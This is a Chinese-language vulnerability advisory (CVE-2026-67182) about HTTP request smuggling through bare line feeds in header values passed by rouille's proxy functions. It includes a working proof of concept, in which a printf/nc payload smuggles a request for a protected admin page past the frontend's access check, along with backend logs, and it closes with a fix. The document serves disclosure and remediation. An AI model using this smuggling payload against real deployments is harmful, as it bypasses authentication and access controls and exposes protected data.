分配的 CVE ID: CVE-2026-67182
rouille::proxy::proxy 与 rouille::proxy::full_proxy 会将客户端提供的请求头值复制到上游连接中,而不检查其中是否包含控制字符。由于底层 tiny_http 头解析器仅以 CRLF 作为头行结束标志,头值中可以合法地包含一个裸换行符(0x0A)。因此,接受裸 LF 作为行结束符的后端会把一个前端请求读成两个请求。
第二个请求完全由攻击者控制,包括其方法和路径,并且绝不会经过决定代理第一个请求的 rouille 处理器。其响应体同样会返回给攻击者。
仓库 URL: https://github.com/tomaka/rouille
| 首个受影响版本 | 0.3.3(2016-12-03),即引入 src/proxy.rs 的版本 |
| 最后受影响版本 | 3.6.2(2023-04-24),即当前最新版本 |
| 不受影响版本 | 0.3.2 及更早版本,它们没有代理模块 |
| 修复版本 | 撰写本文时尚无修复版本 |
从 0.3.3 到 3.6.2 的每个已发布版本都包含未修改的代码。src/proxy.rs 文件在 3.6.2 标签与当前 master 分支之间是逐字节相同的。
只有调用 proxy::proxy 或 proxy::full_proxy 的应用程序会受到影响。
CWE-444(HTTP 请求解释不一致),经由 CWE-113(HTTP 头中的 CRLF 序列未得到适当中和)而达成。
CVSS 4.0 基础分数 6.9(中危)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N
攻击者是能够向 rouille 服务器发送原始 HTTP 的远程未认证客户端。无需任何凭据、无需用户交互,也无需处于组件之间的网络位置。
存在风险的部署是:一个 rouille 应用充当反向代理,在调用 proxy() 之前做出安全决策(路由、认证、授权或内容过滤),其后端的 HTTP 解析器接受裸 LF 作为头行结束符。
已实测的后端行为:
| 后端 | 测试版本 | 是否接受注入的 LF |
|---|---|---|
Go net/http | go1.26.4 | 是,会处理被走私的请求 |
Python http.server (protocol_version = "HTTP/1.1") | CPython 3.13 | 是,会处理被走私的请求 |
| Node.js | v26.3.0 | 否,返回 400(llhttp 严格模式) |
| PHP 内建服务器 | 8.5.8 | 否,直接断开连接 |
未对 nginx 和 Apache 进行测试。RFC 9112 第 2.2 节允许接收方将单独的 LF 识别为行结束符,因此接受该 LF 的后端并未超出规范行为。
rouille/src/proxy.rs,第 157 至 174 行:
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
第 171 行是汇聚点。value 不可信,且未经任何验证即被写入。
污点数据经由 tiny_http 进入。在 tiny_http-0.12.0/src/client.rs 第 80 至 102 行中,头行仅在一个 LF 紧跟一个 CR 时才结束:
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
单独的 LF 会落入第 100 行并被推入行缓冲区。LF 是有效 ASCII,因此 AsciiString::from_ascii 会接受它。随后,tiny_http-0.12.0/src/common.rs 第 184 行的 Header::from_str 只对值进行 trim,这会去除首尾空白,但保留内部字节原样:
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
结果便是 rouille 头值中包含了原始 \n,proxy.rs 第 171 行会将其直接写入上游请求。
第 173 行的 Connection: close 并不能遏制这一危害。注入的空行会在第 173 行执行之前结束第一个请求,因此该头会被并入被走私的请求。第一个请求不携带 Connection 头,默认采用 HTTP/1.1 keep-alive,这恰恰使后端得以继续处理第二个请求。
步骤 1:在后端文档根目录中创建一个公共文件和一个本应由代理保护的文件。
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
步骤 2:在 8001 端口启动一个支持 keep-alive 的后端。
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
步骤 3:在 8000 端口启动 rouille 前端。它代理 /public/,并拒绝所有其他路径。
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
步骤 4:确认访问控制生效。
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
HTTP/1.1 403 Forbidden
步骤 5:发送一个针对允许路径的请求,并在头值中包含一个裸 LF。在下面的命令中,\n 是裸换行符,\r\n 是 CRLF。这一区别正是整个攻击的关键,因此不要让它被编辑器规范化。
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
结果:后端日志显示两个请求,其中第二个正是前端在步骤 4 中拒绝的路径:
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
攻击者还会收到受保护的内容,因为 src/proxy.rs 第 224 行会把上游套接字的剩余部分作为响应体返回:
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
未认证的客户端可以向后端发出任意请求并读取其响应,而 rouille 处理器全程只会看到被允许的那个请求。这使基于路径的访问控制、在处理器中执行的认证,以及调用 proxy() 之前所做的任何请求检查全部失效。
有两个限制值得说明。proxy() 为每个请求打开一条新的 TCP 连接,且不进行连接池复用,因此这不会造成经典走私中那种跨用户请求队列投毒。此外,如上面实测所示,该攻击还需要一个能容忍 LF 的后端。
在写入上游之前,拒绝包含控制字符的头名称和头值。在 src/proxy.rs 第 157 行的循环内:
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}